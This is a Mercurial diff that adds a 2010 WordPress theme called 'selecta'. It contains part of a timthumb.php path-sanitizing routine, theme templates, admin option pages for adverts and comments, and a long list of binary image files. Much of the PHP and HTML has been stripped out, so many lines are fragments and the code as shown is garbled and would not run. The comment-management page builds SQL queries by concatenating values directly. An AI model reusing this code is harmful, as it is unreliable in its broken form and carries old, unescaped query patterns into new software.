preg_replace( '/^\w+:\/\/[^\/]+/', '', $src ); + + // don't allow users the ability to use '../' + // in order to gain access to files below document root + + // src should be specified relative to document root like: + // src=images/img.jpg or src=/images/img.jpg + // not like: + // src=../images/img.jpg + $src = preg_replace( "/\.\.+\//", "", $src ); + + return $src; + +} + +function get_document_root ($src) { + if( @file_exists( $_SERVER['DOCUMENT_ROOT'] . '/' . $src ) ) { + return $_SERVER['DOCUMENT_ROOT']; + } + // the relative paths below are useful if timthumb is moved outside of document root + // specifically if installed in wordpress themes like mimbo pro: + // /wp-content/themes/mimbopro/scripts/timthumb.php + $paths = array( '..', '../..', '../../..', '../../../..' ); + foreach( $paths as $path ) { + if( @file_exists( $path . '/' . $src ) ) { + return $path; + } + } + +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/header.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/header.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,119 @@ + +> + + +ID)."\" />"; + echo "\npost_excerpt)."\" />"; +endif; ?> + +<?php bloginfo('name'); ?><?php wp_title(" - ", true, "left"); ?> + + + /style.css" rel="stylesheet" type="text/css" /> + + /style.css" rel="stylesheet" type="text/css" /> + + /style.css" rel="stylesheet" type="text/css" /> + + + + "> + + "> + + + + + + + + + +
    +
    + + +
    + +
    +
    + +

    Archives Section

    + get_results("SELECT * FROM " . $wpdb->posts . " WHERE post_status='publish' AND post_type = 'post' GROUP BY $wpdb->posts.ID ORDER BY post_date DESC"); + foreach($fetch_archive as $archive_data) : + if(date("m Y", strtotime($archive_data->post_date)) !== $last_month) :?> + post_date)); ?> + post_date)); + endforeach; ?> + +

    + +

    Your Search Results for ""

    + + +

    + + + ID, "other_media", true);; + $get_post_video = get_post_meta($post->ID, "main_video", true); + ?> +
    +
    +

    post_date)); ?>

    +

    +
    + +
    +
    + +
    + +
    + +
    <?php the_title(); ?> +
    + +
    + + +
    + + +
    +
    +
    \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/125-created-by-us.png Binary file web/wp-content/themes/selecta/images/125-created-by-us.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/125-press.png Binary file web/wp-content/themes/selecta/images/125-press.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/125-quality.png Binary file web/wp-content/themes/selecta/images/125-quality.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/125-screenshot.png Binary file web/wp-content/themes/selecta/images/125-screenshot.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/Thumbs.db Binary file web/wp-content/themes/selecta/images/Thumbs.db has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/avatar-tiny.png Binary file web/wp-content/themes/selecta/images/avatar-tiny.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/dp.jpg Binary file web/wp-content/themes/selecta/images/dp.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/feature-test-vid.jpg Binary file web/wp-content/themes/selecta/images/feature-test-vid.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/icons/Thumbs.db Binary file web/wp-content/themes/selecta/images/icons/Thumbs.db has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/icons/facebook.png Binary file web/wp-content/themes/selecta/images/icons/facebook.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/icons/feed.png Binary file web/wp-content/themes/selecta/images/icons/feed.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/icons/flickr.png Binary file web/wp-content/themes/selecta/images/icons/flickr.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/icons/friendfeed.png Binary file web/wp-content/themes/selecta/images/icons/friendfeed.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/icons/sprite.gif Binary file web/wp-content/themes/selecta/images/icons/sprite.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/icons/twitter.png Binary file web/wp-content/themes/selecta/images/icons/twitter.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/layout/Thumbs.db Binary file web/wp-content/themes/selecta/images/layout/Thumbs.db has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/layout/action-bg.png Binary file web/wp-content/themes/selecta/images/layout/action-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/layout/avatar-bg.png Binary file web/wp-content/themes/selecta/images/layout/avatar-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/layout/comment-input-bg.png Binary file web/wp-content/themes/selecta/images/layout/comment-input-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/layout/comment-lip.png Binary file web/wp-content/themes/selecta/images/layout/comment-lip.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/layout/comment-message-bg.png Binary file web/wp-content/themes/selecta/images/layout/comment-message-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/layout/feature-list-number-bg.png Binary file web/wp-content/themes/selecta/images/layout/feature-list-number-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/layout/feature-list-numbers.png Binary file web/wp-content/themes/selecta/images/layout/feature-list-numbers.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/layout/flickr-bg.png Binary file web/wp-content/themes/selecta/images/layout/flickr-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/layout/obox-logo.png Binary file web/wp-content/themes/selecta/images/layout/obox-logo.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/layout/pagination.png Binary file web/wp-content/themes/selecta/images/layout/pagination.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/layout/reply-button.png Binary file web/wp-content/themes/selecta/images/layout/reply-button.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/layout/rounded-corners-dark-dark.png Binary file web/wp-content/themes/selecta/images/layout/rounded-corners-dark-dark.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/layout/rounded-corners-dark-normal.png Binary file web/wp-content/themes/selecta/images/layout/rounded-corners-dark-normal.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/layout/rounded-corners-light-1.png Binary file web/wp-content/themes/selecta/images/layout/rounded-corners-light-1.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/layout/rounded-corners-light-dark.png Binary file web/wp-content/themes/selecta/images/layout/rounded-corners-light-dark.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/layout/rounded-corners-light-normal.png Binary file web/wp-content/themes/selecta/images/layout/rounded-corners-light-normal.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/layout/slider-lip.png Binary file web/wp-content/themes/selecta/images/layout/slider-lip.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/layout/small-advert-bg.png Binary file web/wp-content/themes/selecta/images/layout/small-advert-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/layout/submenu-footer.png Binary file web/wp-content/themes/selecta/images/layout/submenu-footer.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/layout/submenu-header.png Binary file web/wp-content/themes/selecta/images/layout/submenu-header.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/layout/submit-comment.png Binary file web/wp-content/themes/selecta/images/layout/submit-comment.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/layout/title-swish-bg.png Binary file web/wp-content/themes/selecta/images/layout/title-swish-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/logo.png Binary file web/wp-content/themes/selecta/images/logo.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/mp.jpg Binary file web/wp-content/themes/selecta/images/mp.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/slider-test-vid.png Binary file web/wp-content/themes/selecta/images/slider-test-vid.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/images/test-vid.png Binary file web/wp-content/themes/selecta/images/test-vid.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/index.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/index.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,92 @@ + + + + + + + + +
    + term_id; + else : + $use_category = ""; + endif; + $paged = (get_query_var('paged')) ? get_query_var('paged') : 1; + query_posts("paged=".$paged.$use_category."&showposts=".get_option("ocmx_home_page_posts")); + + if (have_posts()) : + while (have_posts()) : the_post(); + setup_postdata($post); + // Fetch the PermaLink, Thumbnail and Video Metas + $get_post_video = get_post_meta($post->ID, "main_video", true); + $get_thumbnail = get_post_meta($post->ID, "other_media", true); + $link = get_permalink($post->ID); + // Set our category + $category = get_the_category(); + // If we haven't used our custom image input, search for the first image in the post + $post_image = ""; + if($get_thumbnail == "" && (get_option("ocmx_auto_home_images") && get_option("ocmx_auto_home_images") !== "no")) : + $post_image = fetch_post_image($post->ID, "560", "2000"); + endif; + + ?> +
    +
    +

    post_date)); ?>

    +

    +
    +
    +
    + +
    + +
    + +
    + +
    + +
    + <?php the_title(); ?> +
    + post_excerpt !== "") : + the_excerpt(); + else : + the_content(); + endif; ?> + + comment_count; ?> Comments + Continue reading +
    + +
    + +
    +

    This just happened.

    +

    Everyone needs to slow down

    +
    +
    There are no posts which match your criterea.
    + +
    + + +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/ads_refresh.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/ocmx/ads_refresh.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,10 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/custom.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/ocmx/custom.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,163 @@ + array ( + "name" => "video_thumbnail", + "default" => "", + "label" => "Video Thumbnail url", + "desc" => "Add an image for use as a thumbnail for your videos in the Four-Block Widget and Archives", + "input_type" => "image", + "input_size" => "50", + "img_width" => "300", + "img_height" => "300" + ), + "media" => array ( + "name" => "other_media", + "default" => "", + "label" => "Main Image", + "desc" => "Select a header image to use for your post.", + "input_type" => "textarea", + "input_type" => "image", + "input_size" => "50", + "img_width" => "560", + "img_height" => "" + ), + "video" => array ( + "name" => "main_video", + "default" => "", + "label" => "Video Object", + "desc" => "Upload your video with the Add Video button above the WYSIWYG, and paste url here.", + "input_type" => "textarea" + ) + ); + +function create_meta_box_ui() { + global $post, $obox_meta; + $meta_count = 0; +?> + +ID,$metabox["name"],true); + + if ($obox_metabox_value == "" || !isset($obox_metabox_value)) : + $obox_metabox_value = $metabox['default']; + endif; ?> + + + + + + +
    + + + +
    + " id="" value="" size="" /> +

    + " /> +
    +
    + +
    + + + + " id="" value="" size="" /> + +

    +
    +
    + + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/images/Thumbs.db Binary file web/wp-content/themes/selecta/ocmx/images/Thumbs.db has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/images/attachment.gif Binary file web/wp-content/themes/selecta/ocmx/images/attachment.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/images/block.gif Binary file web/wp-content/themes/selecta/ocmx/images/block.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/images/block_comment.gif Binary file web/wp-content/themes/selecta/ocmx/images/block_comment.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/images/bottom_left.gif Binary file web/wp-content/themes/selecta/ocmx/images/bottom_left.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/images/bottom_right.gif Binary file web/wp-content/themes/selecta/ocmx/images/bottom_right.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/images/clear.gif Binary file web/wp-content/themes/selecta/ocmx/images/clear.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/images/comment.gif Binary file web/wp-content/themes/selecta/ocmx/images/comment.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/images/comment_subscribe.gif Binary file web/wp-content/themes/selecta/ocmx/images/comment_subscribe.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/images/delete.gif Binary file web/wp-content/themes/selecta/ocmx/images/delete.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/images/delete_comment.gif Binary file web/wp-content/themes/selecta/ocmx/images/delete_comment.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/images/edit.gif Binary file web/wp-content/themes/selecta/ocmx/images/edit.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/images/email.gif Binary file web/wp-content/themes/selecta/ocmx/images/email.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/images/ocmx_layout/Thumbs.db Binary file web/wp-content/themes/selecta/ocmx/images/ocmx_layout/Thumbs.db has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/images/ocmx_layout/bg.jpg Binary file web/wp-content/themes/selecta/ocmx/images/ocmx_layout/bg.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/images/ocmx_layout/content_bg.jpg Binary file web/wp-content/themes/selecta/ocmx/images/ocmx_layout/content_bg.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/images/ocmx_layout/footer_bg.jpg Binary file web/wp-content/themes/selecta/ocmx/images/ocmx_layout/footer_bg.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/images/ocmx_layout/header_bg.jpg Binary file web/wp-content/themes/selecta/ocmx/images/ocmx_layout/header_bg.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/images/ocmx_layout/menu_bg.gif Binary file web/wp-content/themes/selecta/ocmx/images/ocmx_layout/menu_bg.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/images/ocmx_layout/menu_bg.jpg Binary file web/wp-content/themes/selecta/ocmx/images/ocmx_layout/menu_bg.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/images/ocmx_layout/menu_bg_selected.gif Binary file web/wp-content/themes/selecta/ocmx/images/ocmx_layout/menu_bg_selected.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/images/ocmx_layout/menu_bg_selected.jpg Binary file web/wp-content/themes/selecta/ocmx/images/ocmx_layout/menu_bg_selected.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/images/ocmx_layout/tabs_bg.jpg Binary file web/wp-content/themes/selecta/ocmx/images/ocmx_layout/tabs_bg.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/images/ocmx_layout/tabs_bg_selected.jpg Binary file web/wp-content/themes/selecta/ocmx/images/ocmx_layout/tabs_bg_selected.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/images/ocmx_logo.gif Binary file web/wp-content/themes/selecta/ocmx/images/ocmx_logo.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/images/r2_c1.gif Binary file web/wp-content/themes/selecta/ocmx/images/r2_c1.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/images/spacer.gif Binary file web/wp-content/themes/selecta/ocmx/images/spacer.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/images/tabs.jpg Binary file web/wp-content/themes/selecta/ocmx/images/tabs.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/images/tick.gif Binary file web/wp-content/themes/selecta/ocmx/images/tick.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/images/top_left.gif Binary file web/wp-content/themes/selecta/ocmx/images/top_left.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/images/top_right.gif Binary file web/wp-content/themes/selecta/ocmx/images/top_right.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/ocmx-advert-options.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/ocmx/ocmx-advert-options.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,45 @@ + +

    OCMX Advert Management

    + + + +
    +

    + +
    +
    + +
    +
    +
    +
    id="tab-1"> + +
    +
    id="tab-2"> + +
    +
    + + +
    +
    +
    +

    + +
    +
    + +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/ocmx-comment-options.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/ocmx/ocmx-comment-options.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,228 @@ +prefix . "ocmx_comment_meta"; + $count_subscribers = $wpdb->get_results("SELECT * FROM $comment_table"); + $fetch_subscribers = $wpdb->get_results( + "SELECT $wpdb->comments.*, $comment_table.* + FROM $wpdb->comments INNER JOIN $comment_table + ON $wpdb->comments.comment_ID = $comment_table.commentId + ORDER BY $wpdb->comments.comment_post_ID ASC, $wpdb->comments.comment_author ASC, $wpdb->comments.comment_author_email ASC, $comment_table.twitter ASC, $comment_table.email_subscribe DESC + LIMIT $startrow, $endrow"); + + if(isset($_POST["comment_changes"])) : + $users_deleted = 0; + $users_blocked = 0; + $users_subs = 0; + wp_cache_flush(); + foreach($fetch_subscribers as $subscriber_details) : + $delete_key = "delete_comment-".$subscriber_details->commentId; + $block_key = "block_comment-".$subscriber_details->commentId; + $subs_key = "mail_comment-".$subscriber_details->commentId; + if(isset($_POST[$delete_key])) : + $main_sql = "DELETE FROM $wpdb->comments WHERE comment_ID = ".$subscriber_details->commentId; + $meta_sql = "DELETE FROM $comment_table WHERE commentId = '".$subscriber_details->commentId."'"; + $check_post = get_post($subscriber_details->comment_post_ID); + if($wpdb->query($main_sql) == "1" && $wpdb->query($meta_sql) == "1") : + if($check_post->comment_count !== 0): + $update_posts = "UPDATE $wpdb->posts SET comment_count = ".($check_post->comment_count - 1)." WHERE `ID` = ".$subscriber_details->comment_post_ID; + $wpdb->query($update_posts); + endif; + $users_deleted += 1; + endif; + else : + if(isset($_POST[$block_key])): $block_user = 1; else: $block_user = 0; endif; + if(isset($_POST[$subs_key])): $subs_user = 1; else: $subs_user = 0; endif; + $update_sql = "UPDATE $comment_table + SET block_user = ".$block_user.", + email_subscribe = ".$subs_user." + WHERE commentId = ".$subscriber_details->commentId; + $wpdb->query($update_sql); + + if(isset($_POST[$block_key])) : + $users_blocked += 1; + endif; + if(isset($_POST[$subs_key])) : + $users_subs += 1; + endif; + endif; + endforeach; + $fetch_subscribers = $wpdb->get_results( + "SELECT $wpdb->comments.*, $comment_table.* + FROM $wpdb->comments INNER JOIN $comment_table + ON $wpdb->comments.comment_ID = $comment_table.commentId + ORDER BY $wpdb->comments.comment_post_ID ASC, $wpdb->comments.comment_author ASC, $wpdb->comments.comment_author_email ASC, $comment_table.twitter ASC, $comment_table.email_subscribe DESC + LIMIT $startrow, $endrow"); + endif; + + ocmx_header(); + ?> + +

    OCMX Comments

    + Your changes were successful. $users_deleted Deleted, $users_blocked Blocked, $users_subs Subscription Changes

    "; + else : + echo "

    Your changes were not successful.

    "; + endif; + endif; ?> +
    +

    + + + 1) : + echo "

    Pages: "; + for ($i = 1; $i < ($pages + 1); $i++) + { + if($startrow == ($i*15-15)) : + echo "".$i.""; + else : + echo "".$i.""; + endif; + if($i !== round($pages)) : + echo " · "; + endif; + } + echo "

    "; + endif; + ?> +
    +
    +
    + +
    +
    +
    +
    + +

    + + + + + + + + + + + + + commentId; + if($last_post_id !== $subscriber_details->comment_post_ID) : + if($use_class == "alternate") : + $use_class = ""; + else: + $use_class = "alternate"; + endif; + ?> + + + + + + + + + + + + + + + + + comment_post_ID; + endforeach; ?> +
    Full NameE-MailTwitter IDViewMailBlockDelete
    + Post Title: + + comment_post_ID); ?> + +
    comment_author; ?>comment_author_email; ?> + + + twitter; ?> + + + + view + + + email_subscribe == 1): ?> + + + + + + block_user == 1): ?> + + + + + + +
    +

    + comment_content); + $use_comment = str_replace("\n", "
    ", $use_comment); + echo $use_comment; + ?> +

    +
    + +
    + + +
    +
    +
    + 1) : + echo "

    Pages: "; + for ($i = 1; $i < ($pages + 1); $i++) + { + if($startrow == ($i*15-15)) : + echo "".$i.""; + else : + echo "".$i.""; + endif; + if($i !== round($pages)) : + echo " · "; + endif; + } + echo "

    "; + endif; + ?> +

    + +
    +
    + +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/ocmx-create-options.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/ocmx/ocmx-create-options.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,506 @@ + "Custom Logo", "description" => "Full URL or folder path to your custom logo.", "name" => $input_prefix."custom_logo", "default" => "/images/layout/logo.gif", "id" => "", "input_type" => "file"), + array("label" => "Color Options", "description" => "Select your desired colour option.", "name" => $input_prefix."theme_style", "default" => "blue", "id" => "", "input_type" => "select", "options" => array("Blue (Default)" => "blue", "Sea Blue" => "sea-blue", "White Rose" => "white-rose", "Blue & Black" => "black-blue", "Black & Green" => "black-green", "Black & Red" => "black-red")), + array("label" => "Home Page Posts", "description" => "Number of Posts to display on the Home Page.", "name" => $input_prefix."home_page_posts", "default" => "5", "id" => "", "input_type" => "select", "options" => array("1" => "1", "2" => "2", "3" => "3", "4" => "4", "5" => "5", "6" => "6", "7" => "7", "8" => "8", "9" => "9", "10" => "10", "15" => "15", "20" => "20")), + array("label" => "Home Page Categories", "description" => "Which Category will we display on the Home Page?", "name" => $input_prefix."home_page_categories", "default" => "", "id" => "", "input_type" => "select", "options" => "loop_categories"), + array("label" => "Home Page Images", "description" => "This will automatically generate an image for your posts on the home page if you have not specified an image in the 'image url' field when adding/updating a post.", "name" => $input_prefix."auto_home_images", "default" => "yes", "id" => "", "input_type" => "select", "options" => array("Yes" => "yes", "No" => "no")), + array("label" => "Site Analytics", "description" => "Enter in the Google Analytics Script here.","name" => $input_prefix."googleAnalytics", "default" => "", "id" => "","input_type" => "memo") + ); + +$social_media_options = + array( + array( + "main_section" => "RSS Details", + "main_description" => "This will allow visitors to subscribe to your custom RSS feed, as well as your Feedburner Feed via e-mail.", + "sub_elements" => + array( + array("label" => "RSS URL", "description" => "", "name" => $input_prefix."rss_url", "default" => "", "id" => "", "input_type" => "text"), + array("label" => "Feedburner ID", "description" => "", "name" => $input_prefix."feedburner_id", "default" => "", "id" => "", "input_type" => "text") + ) + ), + array("label" => "Promote Post Options", "description" => "This will allow you to include Digg, Moo, Bump and Tweetmeme links in your posts.", "name" => $input_prefix."promote_posts", "default" => "yes", "id" => $input_prefix."promote_posts", "input_type" => "select", "options" => array("Yes" => "yes", "No" => "no")) + ); + +$auto_advert_options = + array( + array( + "main_section" => "3rd Party Adverts", + "main_description" => "These settings allow you to manage your 3rd party (eg. BuySellAds, Afrigator etc.) adverts which display in the right side bar, and underneathe the Article in your home and post pages.", + "sub_elements" => + array( + array("label" => "Post Page Script", "description" => "", "name" => $input_prefix."main_ad_buysell_ads", "default" => "0", "id" => $input_prefix."main_ad_buysell_ads", "input_type" => "select", "options" => array("On" => "on", "Off" => "off")), + array("label" => "Insert Page Script", "description" => "", "name" => $input_prefix."main_ad_buysell_id", "default" => "", "id" => $input_prefix."main_ad_buysell_id", "input_type" => "memo"), + array("label" => "Right Sidebar Script", "description" => "", "name" => $input_prefix."small_buysell_ads", "default" => "0", "id" => $input_prefix."small_buysell_ads", "input_type" => "select", "options" => array("On" => "on", "Off" => "off")), + array("label" => "Insert Sidebar Script", "description" => "", "name" => $input_prefix."small_buysell_id", "default" => "", "id" => $input_prefix."small_buysell_id", "input_type" => "memo") + ) + ) + ); + +$custom_advert_options = + array( + array( + "main_section" => "Post Page Ads", + "main_description" => "These settings allow you to manage your custom adverts which display in the post pages of your site. (Recommended size for the post ad is 560px by 60px.)", + "sub_elements" => + array( + array("label" => "Advert Title", "description" => "", "name" => $input_prefix."post_ad_title", "default" => "", "id" => $input_prefix."post_ad_title", "input_type" => "text"), + array("label" => "Advert Link", "description" => "", "name" => $input_prefix."post_ad_link", "default" => "", "id" => $input_prefix."post_ad_link", "input_type" => "text"), + array("label" => "Image URL", "description" => "", "name" => $input_prefix."post_ad_image", "default" => "", "id" => $input_prefix."post_ad_image", "input_type" => "text") + ) + ), + array( + "main_section" => "Sidebar Ads", + "main_description" => "These settings allow you to manage your custom adverts which display in the right side bar. Use the \"Media\" section to upload you ad image, and paste the image url into the \"Image url\" text field. (Recommended width is 125px by 125px.)", + "sub_elements" => + array( + array("label" => "Number of Small Ads", "description" => "", "name" => $input_prefix."small_ads", "default" => "0", "id" => $input_prefix."small_ads", "input_type" => "select", "options" => array("None" => "0", "1" => "1", "2" => "2", "3" => "3", "4" => "4", "5" => "5", "6" => "6", "7" => "7", "8" => "8", "9" => "9", "10" => "10")) + ) + ) + ); +$menu_options = array(array("label" => "Menu Order", "description" => "Would you like to list your pages or categories first?", "name" => $input_prefix."page_category_order", "default" => "pages_first", "id" => "", "input_type" => "select", "options" => array("Pages First" => "pages_first", "Categories First" => "categories_first"))); +$page_menu_options = + array( + array( + "main_section" => "Pages", + "main_description" => "Order your pages by the following.", + "sub_elements" => + array( + array("label" => "Order By", "description" => "", "name" => $input_prefix."page_order", "default" => "", "id" => $input_prefix."page_order", "input_type" => "select", "options" => array("Title" => "post_title", "Page Order" => "menu_order", "Creation Date/Time" => "post_date", "Modified Date/Time" => "post_modified", "Page ID" => "ID", "Post Slug" => "post_name")), + array("label" => "Direction", "description" => "", "name" => $input_prefix."page_updown", "default" => "", "id" => $input_prefix."page_updown", "input_type" => "select", "options" => array("Ascending" => "ASC", "Descending" => "DESC")) + ) + ) + ); +$category_menu_options = + array( + array( + "main_section" => "Categories", + "main_description" => "Order your categories by the following.", + "sub_elements" => + array( + array("label" => "Order By", "description" => "", "name" => $input_prefix."category_order", "default" => "ID", "id" => $input_prefix."category_order", "input_type" => "select", "options" => array("Category ID" => "ID", "Name" => "name")), + array("label" => "Direction", "description" => "", "name" => $input_prefix."category_updown", "default" => "", "id" => $input_prefix."category_updown", "input_type" => "select", "options" => array("Ascending" => "ASC", "Descending" => "DESC")) + ) + ) + ); +// Set the global var to see which array we're dealing with + +/*********************************************************************************/ +/* Below we create the form containers, according to our arrays in functions.php */ +function fetch_options($which_array) + { + + global $input, $counter, $label_class; + if($which_array) : + foreach($which_array as $input) + { + // This option Has Sub Options, so loop them and give them slightly different classes + if($input['description'] !== "") : +?> +

    + +
    + +

    + + +

    + +
    +
    + +
    +
    + +
    + +
    + +
    +
    + +
    + +
    + +
    + + " id=""> + + + + + $value) + { + // Set the $value and $label for the options + if($input["options"] == "loop_categories") : + $use_value = $value->slug; + $label = $value->cat_name; + elseif($input["options"] == "loop_pages") : + $use_value = $value->ID; + $label = $value->post_title; + else : + $use_value = $value; + $label = $option_label; + endif; + //If this option == the value we set above, select it + if($use_value == $input_value) + {$selected = " selected='selected' ";} + else + {$selected = " ";} +?> + + + + +
    +
